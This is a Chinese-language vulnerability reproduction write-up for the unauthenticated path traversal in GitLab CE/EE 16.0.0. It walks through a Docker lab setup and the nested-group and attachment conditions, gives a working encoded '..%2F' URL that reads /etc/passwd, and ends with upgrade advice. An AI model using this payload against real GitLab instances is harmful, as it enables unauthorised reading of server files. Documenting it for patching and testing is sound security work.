简述
GitLab是一个用于仓库管理系统的开源项目,其使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。据悉,该漏洞影响 GitLab社区版(CE)和企业版(EE)的 16.0.0 版本,其它更早的版本几乎都不受影响。
该漏洞存在于GitLab CE/EE版本16.0.0中,当嵌套在至少五个组中的公共项目中存在附件时,可在未经身份验证的情况下通过uploads功能遍历读取任意文件,导致敏感信息泄露。
漏洞影响范围
GitLab CE 16.0.0 社区版
GitLab EE 16.0.0 企业版
漏洞复现
环境采用docker进行安装,安装完成访问80端口
docker pull gitlab/gitlab-ce:16.0.0-ce.0
docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0
docker命令查看gitlab前台登录账号密码
docker exec -it 1f7908ebe5aacf99c899bd3ee6952a372ad87522c4c72129dd75693554c098eb /bin/bash
cat /etc/gitlab/initial_root_password
root/na8qVBc/GzGSIBiYnNmDrcj8mNAbzCkv5XJ3UD+BOAw=
登录成功
登录后,注意
1.需要一个嵌套五层以上可公开访问到的group 组并添加项目
2.在项目issus处进行附件上传
步骤一:添加组
添加组
步骤二:输入任意组名、重复次数大于5,本次添加了9个group
项目组创建完成
步骤三:添加项目
添加项目
输入项目名称
步骤四:项目添加完成,添加评论
1.注意遍历时候,路径是项目名不是评论名
2.上传附件,注意附件路径
步骤五:测试访问上传的文件
http://192.168.76.32:8077/group1/group2/group3/group4/group5/group6/group7/group8/group9/gitlab/uploads/c5a76aa5602d0eae7ef601eacfe59f64/12345.txt
步骤六:目录遍历
http://192.168.76.32:8077/group1/group2/group3/group4/group5/group6/group7/group8/group9/gitlab/uploads/c5a76aa5602d0eae7ef601eacfe59f64/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
修改建议:
目前该漏洞已经修复,受影响用户可升级到以下版本:
GitLab CE/EE版本:>= 16.0.1